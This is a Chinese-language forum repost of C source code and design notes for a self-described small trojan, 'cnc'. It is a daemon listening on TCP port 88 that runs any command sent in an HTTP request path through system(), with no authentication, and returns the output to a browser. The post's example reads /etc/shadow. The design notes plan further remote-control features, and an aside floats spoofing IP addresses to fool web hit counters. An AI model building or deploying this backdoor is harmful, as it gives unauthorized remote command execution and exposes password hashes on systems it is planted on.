[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 編程技術 > 網絡編程 > 正文
小木馬cnc源代碼及開發文檔
bobdai@sohu.com (2001-04-19 12:38:07)
    以下的程序算是一個小小的木馬吧,設計目的是通過瀏覽器來控制遠程UNIX系統。比如輸入 http://192.168.0.111:88/cat /etc/shadow 就能在瀏覽器裡看到 /etc/shadow 的內容。目前也就這些可以,比如 ls 等只有輸出的命令好使,象 vi 這樣的交互式程序就有些麻煩了。不過只要弄熟悉了 UNIX 及 HTTP 的細節應該問題不大的。我在這裡帖出源代碼,只能算是一個想法的初步實現而已,希望有興趣的人和我一起開發,是個練手的好機會啊!


/*
* Author: bobdai
* Email : bobdai@sohu.com
* Homepage: http://bobdai.126.com
*
* Jun 15, 2000
*/

#include 
#include 
#include 
#include 
#include 

#define SA struct sockaddr

main()
{
    int n, listenfd, connfd;
    char rbuf[1024], wbuf[1024], cbuf[256], *str;
    FILE *fp;

    struct sockaddr_in servaddr;

    if( (listenfd=socket(AF_INET, SOCK_STREAM, 0)) <0 )
        perror( "socket" ), exit(0);
    bzero( &servaddr, sizeof(servaddr) );
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl( INADDR_ANY );
    servaddr.sin_port = htons( 88 );
    if( bind(listenfd, (SA *)&servaddr, sizeof(servaddr)) <0 )
    perror( "bind" ), exit(0);
    if( listen(listenfd, 10) <0 )
        perror( "listen" ), exit(0);

    for(;;)
    {    
        bzero( cbuf, 256 );
        bzero( wbuf, 1024);
        if( (connfd=accept(listenfd, (SA *)NULL, NULL)) <0 )
            perror( "accept" ), exit(0);
        if( read(connfd, rbuf, 1024) <0 )
            perror( "read" ), exit(0);
        if( (fp=fopen("~~~tempfile~~~", "w")) == NULL) 
            perror( "open tempfile error"), exit(0);
        fclose( fp );
        str = strstr( rbuf, "GET /" );
        str += 5;
        for( n=0; *str != ' '; n++ ) 
        {
            if( *str == '%' )
            {
                str += 3;
                *(cbuf+n) = ' ';
            }
            else *(cbuf+n)=*(str++);
        }
        strcat( cbuf, ">~~~tempfile~~~" );
        printf( "%s\n", cbuf );
        system( cbuf );
        if( (fp=fopen("~~~tempfile~~~", "r")) == NULL) 
        perror( "open tempfile error"), exit(0);
        strcpy( wbuf, "Result:
" );
        if( write(connfd, wbuf, strlen(wbuf)) <0 )
            perror( "write" ), exit(0);
        fgets( wbuf, 1000, fp );
        while( !feof(fp) )
        {
            strcat( wbuf, "
" );
            if( write(connfd, wbuf, strlen(wbuf)) <0 )
                perror( "write" ), exit(0);
            fgets( wbuf, 1000, fp );
        }
        fclose( fp );
        unlink( "~~~tempfile~~~" );
        close( connfd );
    }
}


cnc 開發文檔

bobdai

2000 年 6 月 18 日 

一、把程序做成什樣子

1、思路。程序是運行在宿主機上的一個守護進程,通過某個 TCP 端口接受發來的系統命令,並執行這些命令,然將結果輸出到客戶端。

2、客戶端界面。為了簡化客戶端程序的編寫及使用的方便性,採用瀏覽器作為客戶端。將瀏覽器分為兩個框架(frame),下面的框架為輸入部分,可由普通文本框、文本編輯框來實現;上面的框架為輸出部分,cnc 的運行結果輸出到這裡。

3、要完成的基本功能。能夠執行所有的非交互式命令。比如,ls、cd、cc、man 等命令我們可以視為非交互式命令,而 vi 這種命令就視為交互式命令,因為在執行過程中他需要控制終端的輸入。如果要遷就 vi 來寫一個通過瀏覽器與之交互,無論是編程還是使用都不方便的。所以我想將 vi 的編輯功能用瀏覽器來實現。先在瀏覽器的文本編輯框裡編好輸入內容在上傳。

二、技術準備

1、HTTP(1.1) 協議分析( 參考:NetXray 監視 HTTP 的運行,RFC2068 )

Request 
瀏覽器通過 Request 來告訴服務器需要什東西。打開 NetXray ,在瀏覽器裡輸入 http://192.168.0.111/aaa.html ,觀察 NetXray 截獲到的數據可以看到,首先是 TCP 三路握手,問完“吃了嗎”,瀏覽器就向服務器發請求了。我們看看這個請求是怎發的。TCP 頭部緊接著就是 HTTP 的頭部了。HTTP 的頭部各字段並非定長的,以 0d 0a 來標志結束。這是 TCP 頭部緊接的第一個頭部字段:47 45 54 20 2f 61 61 61 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a,翻譯過來就是:GET /aaa.html HTTP/1.1 。以還有 ACCEPT、HOST 等字段。知道了這個,我們就在瀏覽器裡添加一個輸入框看看輸入框的內容是怎 submit 到服務器的。我們使用“POST”類型的 form :










看看 HTTP request 是什樣的,第一個字段變成了:50 4f 53 54 20 2f 61 61 61 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a,即:POST /aaa.html HTTP/1.1 。POST 的數據放到了 HTTP 頭部的數據區中,HTTP 頭部的結束標志是:0d 0a 0d 0a 。在數據區,我們可以看到:74 31 3d 61 64 73 66 61 73 64 66 61 73 64 66 61,即:t1=adsfasdfasdfa,這就是我們通過輸入框 t1 POST 過去的數據。

題外話:通過對 HTTP 頭部的分析,又產生了一個欺騙計數器的想法:以偽造的 IP 地址向計數器放置地發 HTTP 的 request,呵呵,看看那些蠢貨計數器們如何對付!

Response 
由直接向瀏覽器 write HTML 頁面就能在瀏覽器上顯示,所以先不做 Response 的分析。

框架(frame)的處理分析。 
老辦法,寫個頁面來測試一下,用 NetXray 做分析。a.htm:








可以看到,在服務器將 a.htm 傳送給瀏覽器以,瀏覽器立即向服務器發送請求要求得到 b.htm 和 c.htm 。我們可以根據這一處理特性,將需要輸出的數據根據瀏覽器的請求分別發送給不同的框架。

2、UNIX 上命令的執行

... ...(續)

???今日問題 ???

輸出窗口的刷新問題 
描述:輸出窗口應該做成向上滾動刷新的方式,就象一般聊天室的做法。

目前沒有很好的想法來解決這個問題,請高手指點。

另:工具 NetXray 下載。

2000 年 6 月 19 日 
三、程序的總體結構

1、結構圖



2、模塊

HTTP 協議分析模塊 ( http.c ) 
int http_ana( u_char *buf_in, char *buf_cmd, char *buf_data );

輸入:u_char *buf_in,收到的整個客戶端數據(可能有多個 HTTP 協議包)。

輸出:char *buf_cmd,文本輸入框輸入的命令

 char *buf_data,文本編輯框輸入的數據

 函數返回負數表示出錯,出錯碼待定。

int http_in( u_char *buf_in );

無輸入

輸出:u_char *buf_in,客戶端一次 POST 發送來的所有 HTTP 包的組合。

 函數返回負數表示出錯,出錯碼待定。

服務器端命令解釋模塊 ( cmd.c ) 
int execute_cmd( char *buf_cmd );

輸入:char* buf_cmd,客戶端命令

描述:如果是非交互式命令,執行輸出到客戶端;交互式命令目前僅考慮對 vi 的支持,但要考慮到加入別的支持的良好擴展性,調用函數 int execute_vi() 來執行 vi 命令的處理。函數返回負數表示出錯,出錯碼待定。

int execute_vi( char *buf_cmd );

輸入:char* buf_cmd,客戶端命令

描述:對 vi 的處理我們需要客戶端輸入的命令裡帶有要編輯的文件名作為參數,可以帶多個文件名。對每一個文件名做如下處理:如果當前目錄下有這個文件,則讀出文件內容到編輯緩沖區,否則置空編輯緩沖區;刷新客戶端的輸入框架,使之變成帶一個文本編輯器的 form ,編輯緩沖區的內容傳遞給文本編輯器;等待用戶編輯送出編輯數據到編輯緩沖區;將編輯緩沖區內容存入指定文件。函數返回負數表示出錯,出錯碼待定。

瀏覽器端腳本模塊 
命令記憶 類似 doskey 的東西

瀏覽器輸出框架的動態刷新 實現類似一般聊天室的輸出刷新功能。

由我對瀏覽器端腳本的編寫不是很熟悉,不知道這兩個功能是否能在瀏覽器上實現,萬望高手指點。這裡是我作的瀏覽器端的界面,希望有人能在其基礎上給我加入需要的功能,多謝了。

總控模塊 ( cnc.c ) 
void main()

初始化 socket 端口,初始化瀏覽器端界面,等待瀏覽器的命令。

另注 
注意將各個模塊裡自定義的函數定義成 static ,避免沖突。 (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章

======
 

★  樊強制作 歡迎分享  ★